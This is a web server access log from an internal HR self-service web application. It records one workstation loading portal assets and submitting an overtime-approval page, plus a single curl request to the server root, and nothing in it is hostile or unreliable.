192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:26:29 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
100.64.0.1 - - [06/Sep/2025:11:29:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:29:20 +0800] "GET / HTTP/1.1" 200 439
192.168.11.104 - - [06/Sep/2025:11:29:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1147730 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:29:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1147730
192.168.11.104 - - [06/Sep/2025:11:29:54 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:29:54 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:29:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:29:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:05 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:06 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
